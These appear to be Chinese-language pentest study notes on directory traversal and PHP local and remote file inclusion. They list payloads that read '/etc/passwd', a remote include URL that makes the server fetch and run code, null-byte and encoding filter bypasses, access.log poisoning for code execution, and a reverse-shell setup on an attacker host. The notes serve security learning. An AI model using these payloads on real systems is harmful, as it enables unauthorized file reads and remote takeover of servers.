产生原因:目录权限限制不严格,开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用。
后果:
目录遍历:使用者可以通过浏览器的url地址或者参数变量可以读取除了web目录下的其他的文件(如果运行php的用户是root则可以读取任意文件)
文件包含:开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞
也分本地文件包含,远程文件包含(可以包含其他网页的内容)

发现漏洞:url或者参数中有漏洞特征但不绝对
?page=a.php
?home=b.html
?file=content

测试方法:
?file=../../../../etc/passwd


?page=file:///etc/passwd (文件包含漏洞,直接可以访问绝对路径)
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
远程包含也可以在另一台主机放入恶意代码让被攻击服务器访问并执行

编码绕过字符过滤
对于web程序自动在文件目录补上php后缀时使用,可以绕过文件扩展名过滤(5.3版本以前)
加个 " . "
加个 “ %00 ” 在php语言中,加入%00后不看后面的东西
如果服务器过滤特殊字符可以尝试用utf-8编码,url编码(双层url编码)绕过
其他系统路径可能使用到的字符
• file.txt...
• file.txt<spaces> #空格
• file.txt” ””
• file.txt<<<>>><
• ./././file.txt (对于有些webapp不支持直接访问,可以尝试加./././)
• nonexistant/../file.txt #输入一个不存在的目录【很多操作系统已经过滤】
本地文件包含实验:
一般本地包含文件漏洞只能查看文件,配合文件上传可以拿取shell
代码执行【特殊情况下:通过服务器的访问日志,实现代码注入】
- 查看access.log文件

- 访问Apache2 access.log 【前提:其他用户对该文件有读取权限】
然后在浏览器中访问该文件
?page=/var/log/apache2/access.log


- 注意事项:Linux系统中,当你对一个文件赋予了权限的同时,要保证其层级目录也被赋予的相同的权限
远程文件包含实验:
- 在攻击者主机配置web服务,在web目录中存放反弹shell文件

- 访问远程文件包含文件就获取了cmd

最后还可以利用字典文件对所有目录进行遍历,看那些文件能够读取
可以用到kali里面的/usr/share/wfuzz/wordlist/vulns/
